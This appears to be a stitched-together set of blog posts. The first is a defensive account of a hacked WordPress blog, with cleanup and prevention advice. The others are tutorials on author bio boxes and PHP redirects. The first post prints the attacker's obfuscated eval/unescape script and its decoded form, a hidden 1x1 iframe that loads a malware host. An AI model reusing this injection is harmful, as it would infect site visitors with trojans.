Fortunately, I have never been hacked, so I will be showing an example from another person’s experience that I came across yesterday. Below is a screenshot of his wordpress dashboard 2 months after the malicious script was installed.

Hacked WordPress Screenshot

As you can see, everything’s all mixed up. When he tried to visit his blog through his web browser, his anti-virus software popped up with warnings that a trojan horse was found on the site and the site may be dangerous. This is when he realized that something had gone wrong; after the damage was already done.

The Malicious Code

He then decided to check his theme’s html files to find the source of the problem and here he found some code that he did not recognize because the malicious code was encrypted. Example below:

<script language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65

The hackers obviously encrypted a part of the line of code hoping to hide the true nature and purpose of the script. When decoded the code reads as follows:

<script language=”javascript”>eval(unescape(“document.write(‘<iframe src=”http://xxxxxxxx.org/in.php” width=1 height=1 frameborder=0></iframe>’);”))</script>

The script was actually trying to call a malicious website to load on his website through a hidden frame. This website would automatically load a trojan horse virus in the his browser.

How Did The Script Get in the Html for his Blog?

The next question is; how did this malicious code get into his blog in the first place? Answer: A virus on his local windows PC stole his FTP login credentials from his FTP client and then used the FTP client to remotely infect the site, considering that he used his FTP to directly access his blog’s directories. Typically, the php files with execution permission within the directories were infected, especially the plugin and theme files are the first targets.

The Solution

Here are some steps to take to remove an infestation:

1) Ensure that you have a robust anti-virus software on your PC that is updated. Run a complete scan of your entire computer system and ensure that all viruses are removed. I would recommend downloading Malwarebytes’ Anti-Malware Software to compliment your anti-virus software. This works very well.

2) In this scenario, it was only the default wordpress php files that were affected, so a fresh copy of the files were uploaded after removing the malicious ones from the hosting server.

3) Change local FTP passwords and ensure that the new ones are very complex. This is very important to do because normally after a malicious attack there is always an open “backdoor” that remains and the hacker can easily exploit this.

4) To be on the safe side, change your hosting account’s password as well as your site’s database password, whether it is Postgre or MySQL.

PHP & HTML Knowledge

It is very important to know basic html and php because this will give you the benefit of recognizing suspicious activity and malicious code and I can’t stress this enough. A site such as Lynda.com provides amazing video tutorials that will definitely help you to grasp the basics and master programming languages if you’re seriously interested. They have helped me a lot.

Prevention is Better Than Cure

You may view a list of plugins and techniques that will help to prevent malicious attacks on one of my previous posts here: 10 Simple Steps to Secure & Protect your WordPress Blog

Some key points that are not in that post are:

1) Do not save your login credentials in your FTP client.

2) Change all passwords on a monthly basis

3) Be carefull when downloading free plugins. It is best to download them from wordpress.org.

4) Keep your anti-virus software updated

Please note that if your blog gets hacked, the symptoms and the causes may be different from what had happened in the scenario described above..

If your wordpress blog gets hacked, don’t panic. Use the following resources to recover your website:

Additional Resources if you Suspect That You May Be Hacked

1) Use Google Webmaster Tools to detect malicious scripts.

2) Post the details of symptoms to the WordPress Community, if you notice any suspicious activities happening in your blog

3) If you decide to clean it up yourself, there is a good list of steps to take, in an article at WordPress.org Codex.

Please note that if your blog or other type of site gets hacked, the symptoms and the causes may be different from what had happened in the scenario I presented.

I hope you found this post helpful and will take the steps to prevent the exploitation of your site / blog.

Discussion: Have you ever been hacked? Leave a comment and tell us of your experiences. If you would like to have a more in-depth discussion on this topic, feel free to contact me through here.

Step 1 – Add your bio to wordpress

Fill out your profile information in the wordpress Users’ Profile section. Ensure to add your first name and your site’s name because the script will be calling and displaying this information on your posts.

Step 2 – Code in the Custom_functions.php file

Access your Thesis Options (Located at the bottom-left in your wordpress admin) and select Custom File Editor, this is where you will add the code to call the bio information. Within the thesis custom file editor, ensure that custom_functions.php is selected in the file selection drop-down menu at the top. If it is not selected then select it from the drop-down menu and click Edit Selected File.

Then add the code below at the end of the file and click save:

function post_footer() {
if (is_single())
{
?>
<div class="postauthor">
<?php echo get_avatar( get_the_author_id() , 120 ); ?>
<h4>Article by <a href="<?php the_author_url(); ?>">
<?php the_author_firstname(); ?> <?php the_author_lastname(); ?></a></h4>
<p><?php the_author_firstname(); ?> has written <strong><?php the_author_posts(); ?></strong> awesome articles for us. <br/><br/><?php the_author_description(); ?></p>
</div>
<?php
}
}
add_action('thesis_hook_after_post_box', 'post_footer');

Note: For the code in the bold highlight above, the RSS feed addresses should be changed to your own.

Step 3 – Code in the Custom.css file

Within your custom file editor select Custom.css from the drop-down menu and click edit selected file. Then add the css code below at the end of the file and hit save:

.postauthor { background: #F5F5F5; border-top: 1px solid #e1e1e0; border-bottom: 1px solid #e1e1e0; overflow: hidden; padding: 1.5em; }
.postauthor img { border: 5px solid #e2dede; float: left; margin-right: 1.5em; }
.postauthor h4 { color: #666; font-size: 2em; margin-bottom: 5px; }
.postauthor p { color: #515151; font-size: 13px; margin-bottom: 12px; }


You should end up with something like this: And that’s it. Hope you found this useful.

Please let me know if this works for you or if you have any difficulties. Everybody is going crazy over the Thesis theme, can anyone convince me as to why I should switch?

This will require that you access 2 of your template files, however, very little coding is required; just copying and pasting, unless you want to make further customization.

Let’s get started.

Step 1 – Code to call the Author Biography Info

Copy the code below to your single.php (Single Post) file, which is found in WordPress by accessing your Appearance tab then select Editor. Search for the <?php the_content(); ?> line of code, press enter to give some space then copy and paste the code below that line, then save:

<div class="postauthor">
<?php echo get_avatar( get_the_author_id() , 120 ); ?>
<h4>Article by <a href="<?php the_author_url(); ?>">
<?php the_author_firstname(); ?> <?php the_author_lastname(); ?></a></h4>
 <p><?php the_author_firstname(); ?> has written <strong><?php the_author_posts(); ?></strong> awesome article(s) for us. <br/><br/><?php the_author_description(); ?></p>
</div>

Step 2 – CSS Files

Copy the CSS code below to your style.css or custom.css file. This will control the background color, width and text alignment. You may change the color schemes as needed to fit your theme.

/* Author's Bio Box */
.postauthor { background: #F5F5F5; border-top: 1px solid #e1e1e0; border-bottom: 1px solid #e1e1e0; overflow: hidden; padding: 1.5em; }
.postauthor img { border: 5px solid #e2dede; float: left; margin-right: 1.5em; }
.postauthor h4 { color: #666; font-size: 2em; margin-bottom: 5px; }
.postauthor p { color: #515151; font-size: 13px; margin-bottom: 12px; }

Step 3 – Author’s Bio

Add the author’s bio information in the About Yourself section in the WordPress dashboard. Please note that if you wish to add links to the author’s bio, they should be entered using the <a href=”http://www.yourdomain.com”> Your Site’s Name </a> format.

That’s it! I hope this tutorial was simple enough and very helpful.

Questions / Suggestions

Please leave a comment and let me know if this works for you, if its simple enough or if you have an idea for improving the code. There is always room for improvement.

This is  a very short and simple tutorial on how to redirect your web pages using a simple php script. You may need to do simple page redirection for quite a few reasons. For example;

1) You’ve change your domain name and the old url no longer exists so when the user types in the old url they seamlessly get redirected to the new one

2) Users are redirected to browser specific web pages

3) Location specific web pages, e.g. a user who lives in the Dominican Republic who tries to access google.com will automatically be redirected to maybe google.com.do where the site is in spanish.

Do not use redirects if the destination page is completely different from what the user might be expecting. So, if you have a link that says James Bond movies the destination site should not end up being entirely different content. This won’t be good for search engine rankings and will not be good for user experience.

Page Redirect using PHP

Web page redirection using php is very simple. Simply add the following code at the beginning of your web page file, before the <html> tag. This needs to be first on the page. The safest way to do this is to remove all other content from page, that way no mistake can be made.

<?php
header( ‘location: http://www.yoursite.com/newpage.html’ ) ;
?>

You will need to replace the URL above with the URL you wish to direct to. Also, remember to save the file that contains this PHP code with a .php extension. This tells the server to expect php code within the file and therefore parse it accordingly. That’s it.

Note: When using the ‘Back’ button, the user is taken to the last viewed page and not the redirect page.

In summary, there is nothing wrong with the auto-redirecting method, provided that the final destination contains what the surfer expected to see.